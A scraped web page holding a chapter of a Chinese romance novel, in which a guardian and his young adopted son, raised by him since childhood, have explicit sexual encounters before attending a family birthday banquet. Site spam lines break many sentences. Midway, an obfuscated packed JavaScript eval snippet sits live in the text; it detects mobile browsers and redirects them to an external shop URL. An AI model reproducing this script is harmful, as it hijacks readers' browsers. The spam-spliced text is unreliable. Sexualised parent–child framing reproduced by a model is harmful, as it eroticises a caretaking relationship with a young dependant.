第44章第四十四章
【烫手山芋】
殿内烛灭了有些漆黑温热时节窗开小半泛白的月光从窗缝间打进来照在蚕被上粼粼如湖面荡起的水光。
所有的声音都被放大喉结缓慢吞咽混在吹进来的温柔风里乔昭的耳边仿佛有一片羽毛在挠。
他惴惴也惶惶。
裴却山如今身上的箭伤已好每日不再敷药身上不是药香是熏的很淡的安息檀香。
这些日子他们一直是这般相贴入眠。
里衣轻薄薄到裴却山稍微用力攥握L动时候便会破。
乔昭身上的药香很淡是微苦的气息。
衣衫上的味道更浅他若不用力一些埋进去如何能闻到这衣裳携卷的美人芬芳?
夜夜来偷夜夜难熬。
白日里府中下人行走偶有兵将述职所以他在外人面前还是疼他爱他的父亲哄他吃睡为他更衣。
每到夜晚时他又睡的好早....
到这时他已不是父亲而是一个正常的男人是裴郎...
即将而立年纪的男人日日守着还未及冠的小妻子如何能熬得住。
此刻好像是曾经他抚摸裴却山脸颊时的夜晚。
喜欢他爱他所以只能在夜里小心翼翼的触碰。
乔昭闭紧双眸不想打破这份尴尬。
他听见裴却山喟叹了一声叫他‘宝儿’
声音有些抖是餍足后情不自禁的喉颤。
乔昭心脏怦怦跳裴却山的喉咙恢复的虽然很好但毕竟受了伤如今的嗓音同以前比之更加低沉仿佛是胸腔里震颤出的嗡鸣磁的令他心颤。
他正愣着缓了一会本以为裴却山起身擦好后会重新回到床榻上搂着他睡。
半天都没感觉到有人回榻他的袜子被人脱了。
乔昭手凉脚凉在春夏温热的季节也一样早晚温差到的时节更加明显每个夜晚睡觉都会穿个厚实一些的袜套等早上再换薄的....
裴却山没有回床榻而是跪在床边了。
只听‘啪啪’两声裴却山有些厌弃的扇了自己两个耳光。
随后乔昭感觉脚心有些痒是男人的鼻息吹的痒。
裴却山的鼻尖碰到了他的脚踝怕他这根铃铛会响张嘴含住了铃铛高挺的鼻尖被踝骨抵的有些变形。
其实这已经不是第一夜了。
裴却山脖颈的青筋凸起
这种难以自控的感觉完全在违背他从小长大的克制体面。
活了这么多年裴却山才惊觉自己不过是披着一张人皮。
克己复礼是他给自
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
己面具。
真正有违人伦的事他已经做了个遍同自己的养子...
即便人在病中他的脑海里竟也会迸出‘既然痛苦为何不死在床榻醉卧’的念头。
乔昭的腰肢柔软只有他的掌心宽小腹皮肉很薄多吃小半碗茶盏饭胃都有些能摸到更不要说旁的事了。
又因从小吃了药他的骨头有些细脚踝不大好脚小每一处凸起的骨节都仿佛是玉雕。
踝骨落下难以自控的齿痕。
裴却山的睫毛微颤借着月光来看这处被他含的有些濡湿的皮骨。
究竟是多么无耻的人才能做出这种事。
要多淫.乱肮脏的思绪会令人情难自控到这般地步。
他裴却山活到这么大究竟读过什么书?又写过什么字?
他也配让这般好的昭儿叫上一声阿爹吗。
裴却山心肝颤抖自弃着
跪在床边何尝不算是一种忏悔。
他不知自己究竟在想什么。
白日里想同乔昭做携手相伴浅浅爱的伴侣可到了夜里拥着软身入怀他又恨不得做一个淫夫想要折断乔昭的腰想看他凸起的小腹。
他究竟要畜生到什么地步...
裴却山知晓乔昭已经睡熟快到之时便放肆的埋进他的掌心里。
每天夜里都要用热水泡过的脚掌很白水里放着活血的药包和安神的薰衣草苦药中又夹杂着些许花香这便是乔昭的味道。
男人眼中满是忍耐而充血的颜色。
一夜不纾解两次他如今已经难以入睡。
两人之中真正需要安息香的人仿佛是他。
“昭儿...”他低声叫他的名字面颊凑的更近更像是埋面对着踝骨脚掌脑海里却是乔昭叫他‘裴郎’轻笑的模样浅淡眼眉微皱病到雪白透亮的面颊...
裴郎...
裴郎...
“裴郎...”这两个字太欲几乎要叫的他魂飞魄散。
乔昭的脚趾微微蜷起动了下离开了他的鼻尖。
裴却山茫然抬头以为是自己的错觉他去追咬踝骨铃铛一动反而响了清脆的动静他打了个激灵惊醒。
“裴郎...”乔昭撑着身子起身蜷起膝盖来看他微张着唇脸颊已经很烫了他小声道“痒...”
裴却山微张唇仰视看他喉结滚动僵直的跪在原地。
乔昭咬了咬下唇微微垂头。
他可以忍着不吭声只是...
裴却山怕埋的太重会惊醒他咬的太重会留下齿痕这样不轻不重的舔舐热烘烘的鼻息喷薄在肌
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
肤上,反而很痒,是他难以承受的感觉。
浓云蔽月的夜半,乔昭抿着唇瓣,小声道,“您...”
“我出去缓一会再回来陪你,好吗?”裴却山皱着眉,眼里有几分恐惧被掩盖的极好,声音还哑然,“弄醒你了。”
虽这般说,但他此刻也难以起来。
里衣太薄,太明显,会吓到人。
乔昭慢慢的移动过来:“您...”
“怎么不同昭儿说呢?”他见裴却山的表情有几分痛苦,心里的滋味不大好受,凑近过去,小腿自然垂落在他的大腿上。
只要裴却山在床边,他的脚掌从来不会落在地上。
可当他有些凉的脚踩在男人腿上时,裴却山的表情痛苦的更明显,皱着眉头吞咽着喉结。
乔昭温柔可怜的语气有一股艳丽劲儿。
病殃殃的人,淡极生怜与艳的眉眼,只会让人心中徒增想要摧毁弄哭他的心态。
裴却山低垂着头,粗粝的掌心来握他的脚,冷玉一般。
“裴郎...”他轻声叫他。
“别叫我。”裴却山抓握他的踝骨,像是没有办法一般弓着腰身埋进了乔昭的腰里。
男人的身形太大,跪环他的腰,乔昭都觉得自己要被他扑倒了。
“怎么了?”乔昭见他实在可怜。
他从未见过这个男人这般脆弱的时候。
忍不住想到当年自己想要同他亲近时,每一个夜晚悄然的靠近,偷偷的触摸。
如今换过来,他自然懂得男人心中的煎熬。
此番煎熬是自己教给裴却山的。
“没关系的,裴郎,没事的。”他捧起男人的脸,声音卿卿哝哝,啄吻他的额头与眉角,“小时候,您不是常说人无完人,总要犯错吗?”
裴却山仰着头听他阐述着自己多年前教给他的道理,注视着他一张一合的软唇,目光痴缠,“不怪我下作么。”
乔昭柔柔一笑,酒窝甜蜜的仿佛浸了迷人的毒,“这般不过是情难自控,何错之有?”
“何况裴郎只是舍不得伤我,”他轻轻的说,“对昭儿更是爱之、怜之。”
“您已经很辛苦了,是不是?”乔昭的口吻忧心忡忡,又格外担心的张开怀抱拢住男人的头入怀,“我知道,我知道的。”
爱人同侧卧,却要受尽相思苦,这般感觉实在难熬。
乔昭都知晓。
裴却山被他抱紧时,又听他一声‘裴郎’
他自甘堕落的闭了闭眼,回手将乔昭的腰用力往面颊前揉,一处跳动,亵裤便湿了。
因为乔昭踩的不轻不重,刚好。
乔昭感觉到脚心有些湿,微微蹭了下,裴却山闷着嗓音憋不吭声,肩却颤了下,随后抓住他的
听说看这本书的人都是很幸运的,分享后你的运气会更棒
脚踝,“不要踩了。”
乔昭的耳垂被月光照的有些透光,粉粉的。
“那...您还要吗?”
他红着小脸,心道,今晚已经是第二次了吧。
裴却山自然想,甚至想的几乎要发疯了。
但他哪舍得?
只因乔昭这一句话,今夜的前两次就仿佛没有发生过一般。
裴却山的膝盖向前走了小步,哀眼抬起,“怜卿...”
原来怜卿真的可以这样叫。
裴却山口中说出‘怜卿’二字。
仿佛是在求乔昭怜他,原谅他的荒唐下流。
虽然乔昭给他的小字是无咎,裴却山还是希望他能怜卿。
乔昭目光轻轻,轻咬着唇,“自然,怜卿。”
从安州到京都,他一直被裴却山护的很好,在他的怀里睡,在他的怀中醒。
无论做儿子还是做妻子,他仿佛就应当在男人的怀中到永远。
“答应我,不要觉得自己在做错事,”乔昭点着他的唇瓣,“是我想同您一处...”
“哪怕我只是您的孩子,您需要,我也是会...”
“不。”裴却山急汹汹的吻住他的唇,“昭儿,你不愿,身体不好,我不需要这些,无妨,等我一炷香就回来,好吗?”
乔昭只是想告诉裴却山,或许可以粗暴一点对他。
自己天生就是他的所有物。
偏裴却山是个有些克己复礼的人,尊重他,疼惜他,怕他不愿,宁可自己夜夜折磨,也不想惊扰他半分。
“若还是分不清妻与子的分别...我宁可不要。”
上一次乔昭是抱着必死的心境才想缠绵。
若是他还将自己看做孩子,裴却山宁可不要。
乔昭捧着他的脸,眼角微笑,“昭儿是想说...您可以,不必太考虑我的,可以粗鲁一些,随心...在昭儿身上为想做的事,不报养恩,便报情债。”
裴却山愣住,明白了他的意思。
他宽大的掌心按在乔昭的心脏上:“可你会难受。”
“那,可不可以让昭儿不难受?我不会,若您也不会,以后可怎么办呢?这天上人间的爽利事,我们还体验到吗?”乔昭用额头抵着他问。
这样的话,但凡是个男人就没有听见会无动于衷的。
尤其还是乔昭来说。
纲常人伦、离经叛道是他们。
生死相许也是。
乔昭的话说的他心动。
他同乔昭在晦暗光线中注视着,撑起手臂,跪着的膝盖逐渐向上走,屈膝慢慢向后逼退乔昭向后躺。
只一层里衣,纤细的腰,肋骨上只有一层薄薄的衣料。
裴却山道:“若难受,哄一哄可以吗?”
两人
你的朋友正在书荒,快去帮帮他吧
几乎头贴着头,他感受到了裴却山的急切,想到第一次的夜晚,忍不住颤颤的勾起他的脖颈,“好...
乔昭就是春日里飘摇的柳枝。
风往哪里吹,他就往哪里栽。
当年还是小郎君,如今已成美妻子。
墨发交叠纠缠,裴却山的脸埋进他的颈圈中,啄吻他细颈附近的肌肤,“宝儿,不要紧张。
“上一次喝了酒,这次可能不大相同,你说的算,想怎么样都和我讲,答应我。
乔昭此刻被他吻着脖颈倒不觉得痒了,反而有一种让他浑身酥软的麻。
眉头睫毛颤抖,他乖乖的说,“好。
裴却山吻他,啄他,鼻尖从他的脖颈一路向下嗅着,似乎在观光他半生打下的江山,爱之抚之。
裴却山哄了他多少年了?
十二年了。
从小时候哄他吃药,叫他乖宝儿,张口再吃一口。
到如今也叫他乖宝儿,同样的话,都在夸他厉害。
夸他是最棒的孩子,最厉害的妻子。
裴却山的肩膀太宽广,他的手臂抓不到结实的肌肉,只能啜泣着抓床单。
裴却山空出一只手掰开他的嘴巴,点了点他的脖子,“别咬自己,咬我。
乔昭吸着鼻尖,又乖乖道,“好..
一夜自难眠。
阿成大清早到院子里来送帖子。
梅家老爷子的寿诞,邀侯爷和将军去参三日后的家宴,都是军中的人。
梅崇尧家里上剩个老爷子,下还有个弟弟,族亲不多,这次他们都在京中,也好热闹热闹。
再者裴却山自回京后低调的连个接风宴都没办,这哪成啊。
裴却山接了帖,嘱咐旁人今儿都不许进院子。
他让下人把早膳送来后,遣走了所有人。
清早他在院子里练剑,长到这么大,他极少有这般难自控的时候。
裴却山想到自己当年去过一座小山,只有独木桥,但木枝太短太细,他的身材对这独木来说实在难以承受,窄小的让他刚上桥头都要断了,无论怎么小心翼翼最终都会摔在脚下的小溪中,溅起一身水。
乔昭这会还睡着。
他很小心,瞧见了眼泪便不动,直到乔昭哼哼时才会慢些。
即便如此,他还是摸到了乔昭的小腹。
乔昭迷迷糊糊醒来时,总觉得耳边还有男人夸他的声音,摸着他肚脐向下的位置夸,“好薄,宝宝。
“以后可以努力吃胖一些吗?
乔昭忘了自己有没有答应,日上三竿时,他是被人从床上捞起来的。
裴却山哄他,有时候又难以控制的求他忍一忍。
乔昭顶着红肿的眼皮儿从床榻起来时,好奇的盯
听说看这本书的人都是很幸运的,分享后你的运气会更棒
着他。
昨儿一手托着他腰,一手在按他小腹的坏男人,原来真是他的裴郎。
裴却山坐在床边,哄他吃一些东西再睡。
今日真是对他纵容。
碗里头的东西不是雪花酥,而是雪花酥上的梅肉。
乔昭如今的口味很怪,因为他爱吃沈兰真做的雪花酥,裴却山很早要了梅肉来。
但他单吃梅子肉很酸,单喝牛乳是腥膻,偏巧雪花酥是牛乳做的,里面的梅肉放进去同甜味对冲,酸甜适中反而刚好。
但他更喜欢吃雪花酥里头的梅子肉。
裴却山一早命人到宫里头去取沈兰真做的雪花酥,把所有的梅子肉剔出来单独放在碗中。
乔昭手脚软着不肯吃。
一瞧见梅子肉反而有些饿了。
“喝一些粥就吃。”
乔昭懒洋洋的躺在他的身上,小脸还是红扑扑的,“嗯...”
“痛不痛?”他问。
昨日他没有弄在里面,就怕乔昭肚子会痛。
乔昭没什么力气再说话,被男人抱在怀里,嘴里含着一块梅肉,脑袋靠在他的怀里睡的很快。
阿成怕一些清粥不够营养,又做了一碗阿胶糕。
端过来的时候,乔昭已经在裴却山怀里睡的很香了。
衣襟微松,从锁骨处往下蔓延的红痕哪能入眼。
人稍微好些时,已经是三日后要去参加梅家宴的时候。
乔昭半躺在床榻上,阿成端着碗给他喂水,裴却山正给他穿袜。
他的衣襟大开,锁骨向下的位置哪能入眼,已经三日印子还是没消。
乔昭本就皮嫩,裴却山的力哪是他这病体能撑的。
裴却山怕伤了他,经常是捻磨慢慢来。
乔昭本还不觉得这事有什么可舒坦的,如今也算迟来尝人事,感受一次被百蚁啃咬的感觉。
他哼哼唧唧的哭,裴却山以为是痛了,要撤,他却只能抱着人说‘别走’
痛和爽胀同时来,他不想舍了这种感觉。
一种完完全全属于裴却山的感觉。
不过代价就是小病秧子躺了三天。
今日梅家宴裴却山本想去露面后便回来,不打算让乔昭去。
乔昭道:“梅伯递了帖子来,我是小辈,不能不去。”
裴却山为他簪发时,面颊从他的脖颈后绕过来,亲了下他的耳垂,“若真算起来,如今他是你的小辈。”
乔昭的耳朵被他亲的发痒,肩膀一耸,悠悠的笑看他,“阿爹好坏。”
裴却山低笑:“好像真的胖了些,三日前你说小腹疼,如今感觉怎么样?若是不大舒服,让顾玉良为你诊脉。”
三日前做完,乔昭的小腹又坠疼了半天,裴却山堵在里面后反而好
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
些,虽然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751719|209433||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
酸胀,倒也没有那么难受了。
裴却山日日给乔昭换衣,能感觉到他这几日长了肉。
哪怕只有一点他也能发现。
这自然是个好结果。
“今日梅伯家宴,还是老人的寿诞,让顾伯为我诊脉反而不吉利的。”乔昭道,“不难受。”
裴却山给他系腰带,一弯腰,男人强壮的身躯将他全部搂在怀中,“怕我伤了你,宝儿,如今是你在哄我。”
乔昭耳尖泛红:“我哪哄您了?”
“没让我停下来,不算哄吗?”
乔昭咬着下唇,向后推开他的脸,“您别说了。”
否则他的脑袋里绕的满是裴却山夸他‘宝儿好厉害’
夸他抖的厉害。
他如今是个走两步都会累的人,在床榻上那般抖,仿佛体力真的好起来了似的,可不是要夸他厉害吗?
裴却山从小便夸他的一切。
夸他聪明,写字好看,骑马射箭悟性高。
如今又夸他吃的好多,全部吃下了,水做的....
分明都是夸赞,但后者真的会令人耳红。
乔昭从前不懂这些事,所以天真,如今懂了,难得露出一副害羞情态。
裴却山给他穿了一身藕荷长衫,里面是丹青色衣襟,腰系玉带,长发一束,薄薄的一层春夏料子衬的人如仙。
他站在乔昭的身后,环绕他腰时便忍不住的啄吻这人的脸侧,“好一个——清衫绝色小乔郎。”
“吾的小乔郎。”
“嗯...”乔昭的脖颈被他的大手握住,强行掰着脸侧过去承接了深吻,嘴巴被吮的有些痛,低声求饶,“阿爹,轻一些。”
“别叫了,如果还想去梅家的话。”裴却山捏捏他的脸警告。
“您以前可不这样。”乔昭转过身来,指尖逗他的喉结。
“以前...”裴却山的喉结滚动便慢了些。
“以前只是忍耐着吗?”乔昭如今想来从前种种,“先哄昭儿睡,每日清晨练剑,都是在忍耐吗?”
裴却山不回答,只捏捏他的耳垂。
算默认。
他在这个年纪纵欲不是什么好事。
妻子小,他想要的太多,这并不是一个好丈夫。
乔昭软软的贴在他身上,双臂勾住他的脖子凑过来亲。
裴却山如今只把乔昭落下的吻当恩赐,哪有不接的道理,目光微眯,注视着他越来越近的唇瓣,低头轻轻去凑。
很近了,唇齿间他刚喝过的药香气息萦绕鼻尖。
乔昭差点碰上他时,向后退了一步,干净的眼眸里泛着清浅光。
他提着裤裳向外走两步,随着脚上的铃铛声响,整个人站在日光中。
浅光美人,当真是天
你的朋友正在书荒,快去帮帮他吧
仙下凡。
裴却山僵在原地,已经起来了,所以他不能乱动。
乔昭笑眯眯的看着他:“阿爹拒绝过我许多次,这次算您还的。”
“侯爷,侯爷,您慢点走。”阿成忍着笑,赶紧跟上他的脚步。
裴却山站在原地缓神,想到刚才那一幕,反而更难受了,却也无奈笑了下。
不愧是他教出来的好孩子,有仇必报。
当真是把以前从他身上吃过的苦都一一反哺回来了。
逗他起来,又自己跑了。
这若是在床上,他裴却山这辈子都得死在他身上。
乔昭在正殿等他。
左右梅家并不远,只隔了一条街巷。
裴却山早就命人备了礼,这样短的距离乔昭也是坐的马车。
如今他除了平时没什么精神外,心悸确实快要小一月没有犯过了,裴却山把人看的很紧,不许他这个,不许那个,就连平日进宫都只许玩半个时辰。
脚不沾地,哪怕到了梅宅也是从车上给抱下来的。
梅老爷子曾是户部左侍郎,如今上了年纪,家中长子又是功臣,虽然已经年迈不为官了,但此番寿诞还是许多人来贺。
梅崇尧到了年纪,天下一平,京中不少官家特意借着贺寿名头来瞧亲。
裴却山带着乔昭一来,梅崇尧可算是瞧见了救命人,“裴将军,快走。”
“怎么了这是?”乔昭笑盈盈的从裴却山的身后探头出来,“什么事让梅伯急出一头的汗?”
顾玉良手握竹骨扇,哈哈笑着,“今儿登门的官家进来放下寿礼,张口便问梅大人是否婚配,刚刚三司狱理事卿也来问了,梅崇尧说,他若不从,只怕要被抓到三司狱里头了!”
“将军也没成婚,怎么偏逮住我了?”梅崇尧无奈揉着额头,引着他们往内院走。
“京中的女儿家谁不是捧在手心的明珠,裴却山本就有个儿子,如今又封了忠勇侯,谁家姑娘敢当侯爷的继母?”
“顾伯,您别打趣我了。”乔昭鼓鼓嘴。
顾玉良摸了一把他的脑袋:“哪是打趣?只怕是没有你,这京中的姑娘们也是不敢嫁到裴宅的。”
乔昭歪歪头:“这是为何?”
“他能对姑娘有什么耐心?瞧他板着一张脸,好像是我抢了他娘子一般。”顾玉良话音一落,乔昭就被重新拽回到裴却山怀中。
梅崇尧一瞧,还真是。
仔细想来,裴将军这些年身边连个侍妾都没有,除了对孩子好以外,旁人哪见过他其他的表情。
如今说到婚嫁,自然觉得逗趣儿。
今日贺寿,无论送什么礼都会稀松平常,梅崇尧如今也算是新贵,以前默默无闻的副将摇身一变官居四
你的朋友正在书荒,快去帮帮他吧
品,裴却山还有隐退的意思,将来统帅三军他最有望,个个都赶过来巴结。
旁人家的贺礼五花八门,就连侍妾都送来八个,梅崇尧头疼的不知道怎么拒绝。
他从小家中没娘,不大擅长同女人相处,心想着要怎么把人退回去。
乔昭同裴却山进了正殿送礼。
他们二人一进门,桌上说话谈论的声音骤然停了,个个朝他们望过来。
裴却山的高名在外,从不同朝堂上的文武百官为伍,今日来到他的寿诞,自然是给极高的面子。
梅崇尧在他父亲耳边说了一句,梅老爷便撑着拐杖起来,颤颤巍巍的行礼来,“见过忠勇侯,见过裴将军。
忠勇侯是能承袭的爵位,便属于皇亲国戚一等,虽然只有个空名,却也比文武百官尊贵,自然要在将军之上。
“免礼。乔昭没有让老人家行礼,“梅伯从小看着我长大,哪能受您一声礼?
“阿爹虽然已经备了礼,乔昭却不知应当送什么...
他笑了笑,身后的阿成便端着笔墨上来,在书桌前摊开,提笔来写,‘椿龄无尽’
乔昭一身浅袍,玉簪束发,瞧着清瘦如他衣襟上的那截银线绣的仙鹤一半,朦胧的人儿。
可他的笔锋苍劲,一‘尽’字竟写出狂澜劲风的笔触。
瘦弱的人却写出这般磅礴大气的字。
旁人只会惊叹一声‘侯爷妙笔’
只有梅崇尧他们几个同裴却山亲近的人才知晓,这是裴却山的字儿,从乔昭的手里头流淌出来,他的全部真的都教给了乔昭。
“这便是新封的乔侯?
“这般好字!年岁不大呀。
“怪不得要叫小侯爷呢,听说连及冠的年纪都未有。
“从前京都没见过这样的郎君,怎的忽然出现了?
“也见过,肖家小姐大婚时去过,当时只道眉目俊朗,如今摇身一变成从龙的忠勇侯,当真是前途无量。
圣上登位至今,亲封的只有忠勇侯一人,非亲非故,只功名换来的,荣耀非凡独一份,他亲笔题字,整个梅宅都沾了新贵的光。
梅老爷子一场寿诞宴上笑的合不拢嘴。
他为官数十载只怕都没有这般高兴过。
乔昭不能吃酒,只在宴席上略略坐了坐。
梅家还有个小儿子,见乔昭提字,便也豁着小门牙求父亲也想要个像乔昭这般的教书先生。
梅老爷子说他混账,侯爷岂是他能置喙的?说着便扬起手要打他,那小孩调皮一躲,嘻嘻笑着连忙跳着走了。
来吃酒的肖空晋道:“裴将可从来没这么打过昭儿。
“他哪舍得?顾玉良哈哈一笑,“昭儿毕竟体弱,也没
你的朋友正在书荒,快去帮帮他吧